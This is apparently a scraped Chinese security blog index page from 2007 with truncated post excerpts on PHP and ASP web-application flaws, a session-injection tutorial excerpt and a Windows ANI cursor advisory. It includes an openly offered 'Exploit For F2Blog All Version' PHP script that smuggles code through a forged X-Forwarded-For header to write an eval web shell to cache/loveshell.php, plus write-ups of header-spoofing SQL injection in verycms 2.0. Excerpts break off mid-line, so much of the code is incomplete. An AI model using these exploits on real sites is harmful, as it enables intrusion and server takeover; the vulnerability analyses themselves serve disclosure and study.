http://blog.sina.com.cn/cnbird[订阅]
个人资料
分类
    内容读取中…
评论
读取中...
图片幻灯
音乐播放器
访客
读取中...
好友
读取中...
博文
 $onlineip=trim(getenv('HTTP_CLIENT_IP'));
$proxy='*';

if(!(strlen($onlineip)>1 && strcasecmp($onlineip, 'unknown'))) {
  $onlineip = trim($_SERVER['HTTP_CLIENT_IP']);
  if(!(strlen($onlineip)>1 && strcasecmp($onlineip, 'unknown'))){
    $onlineip = trim(getenv('HTTP_X_FORWARDED_FOR'));
    if(!(strlen($onlineip)>1 && strcasecmp($onlineip, 'unknown'))){
      $onlineip = trim($_SERVER['HTTP_X_FORWARDED_FOR']);
      if(!(strlen($onlineip)>1 && strcasecmp($onlineip, 'unknown'))){
        $onlineip = trim(getenv('REMOTE_ADDR'));
        if(!(strlen($onlineip)>1 && strcasecmp($onlineip, 'unknown'))){
          $onlinei
verycms2.0权限提升漏洞(2007-06-08 10:03)
verycms是phpwind团队开发的文章管理系统,现在已经出来3.0版,我突然想起来以前看到的2.0版的一个漏洞,记录一下。漏洞在php5环境下不受gpc设置影响。看代码
code:
passport_client.php
function Loginipwrite($winduid){
global $db,$timestamp,$onlineip;

$logininfo='$onlineip|$timestamp|6';
$db->update(
'UPDATE pw_user SET lastvisit=thisvisit,thisvisit=''$timestamp'',onlineip=''$logininfo'' WHERE uid=''$winduid''');
}
再看$onlineip是怎么来的
Global.php
if($_SERVER[''HTTP_CLIENT_IP'']){
     $onlineip=$_SERVER[''HTTP_CLIENT_IP''];
}elseif($_SERVER[''HTTP_X_FORWARDED_FOR'']){
     $onlineip=$_SERVER[''HTTP_X_FORWARDED_FOR''];
}else{
     $onlineip=$_SERVER[''REMOTE_ADDR''];
}
$onlineip =substrs($onlineip,16);
十六个字节,够提升权限的了吧?

抓包提交
HTTP_X_FORWAR
 
最近因为搬家不能上网,闲得无聊于是从网上下载各种各样的程序下来读,找找漏洞。尽管很多的程序漏洞依然大面积存在,但是也很开心的看到更多的程序也变得很安全,有的甚至真的找不出来明显的安全漏洞。看来程序员的防范思路都很不错,学到不少安全方面的东西。尽管一些简单而明显的漏洞已经很难发现了,但是还是有些地方需要注意的,一些漏洞在asp+access环境下尽管利用很苛刻,但是危害很大,这里我就以一些雪人论坛修改版本做例子说一下这些有点苛刻的漏洞危害与利用。
雪人论坛是国内的比较大的一个论坛,asp+access结构,早期的时候听说过存在过Sql注入漏洞。他的修改版本众多,我就找了个叫做颓废者论坛的修改版本,大家可以去中国站长站上看下其他的修改版本,我大致看了下,大部分都是存在这种漏洞的。颓废者论坛本来的作者也是对安全有一定了解的,所以本来是不抱什么希望找出什么大的漏洞,但是当我看到index.asp代码也就是用户进入论坛时第一个调用的文件的时候,我知道,漏洞出现了。看看index.asp里面的一些代码,我的是颓废者论坛(简约版),其他版本核心代码也是一样的哦:  

 

Exploit For F2blog(2007-06-08 09:56)
 <?php
print_r('

+------------------------------------------------------------------+

Exploit For F2Blog All Version
BY  Mokfly 媒婆X 拖鞋王子
Just For Fun :)

+------------------------------------------------------------------+
');


ini_set('max_execution_time',0);
error_reporting(7);

$blogpath='$argv[2]';
$server='$argv[1]';
$cookie='';


$shell= 'http://'.$server.$blogpath.'cache/loveshell.php';


$evilcode='fputs(fopen('cache/loveshell.php','w+'),'<?@eval(\$_REQUEST[c])?>Orz')';
$evilcode=''));'.$evilcode.';/*';
$evilip='X-Forwarded-For: '.$evilcode;


preg_match('/X-Powered-By: php\/(.+)\r\n/ie',send(''),$php);
echo 'We Got php version:\t'.$php[1].'\r\n';


send('');

$evilip='';

sen
 漏洞描述:
程序在取得$_SERVER变量的时候,过滤不够严密,在初始化脚本common.inc.php中有如下一段代码:

if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')) {
    $onlineip = getenv('HTTP_CLIENT_IP');
} elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
    $onlineip
} elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
    $onlineip = getenv('REMOTE_ADDR');
} elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], 'unknown')) {
    $onlineip = $_SERVER['REMOTE_ADDR'];
}
$onlineip = preg_replace('/^([\d\.]+).*/', '\\1', $onlineip);

其中的HTTP_X_FORWARDED_FOR是客户端提交的,恶意用户可以用第三方软件如NC向服务器提交该变量。

用NC向服
会话注入(2007-06-08 09:53)
 会话注入
 Top  Previous  Next  
8.3. 会话注入

  一个与会话暴露类似的问题是会话注入。此类攻击是基于你的WEB服务器除了对会话存储目录有读取权限外,还有写入权限。因此,存在着编写一段允许其他用户添加,编辑或删除会话的脚本的可能。下例显示了一个允许用户方便地编辑已存在的会话数据的HTML表单:

 

  <?php

 

  session_start();

 

  ?>

 

  <form action='inject.php' method='POST'>

 

  <?php

 

  $path ini_get('session.save_path');

  $handle dir($path);

 

  while ($filename $handle->read())

  {

    if (s
 

Systems Affected:

  • Windows NT
  • Windows 2000
  • Windows XP
  • Windows 2003
  • Windows Vista

Overview:

Determina Security Research has discovered a vulnerability in the USER32.DLL code responsible for loading animated cursor (.ANI) files. This vulnerability can be exploited by a malicious web page or HTML email message and results in remote code execution with the privileges of the logged-in user. The vulnerable code is present in all versions of Windows up to and including Windows Vista. All applications that use the standard Windows API for loading cursors and icons are affected. This includes Windows Explorer, Internet Explorer, Mozilla Firefox, Outlook and others.

Microsoft fixed a closely related vulnerability with the MS05-002 security update, but their fix was incomplete. Determina Security Research was able to bypass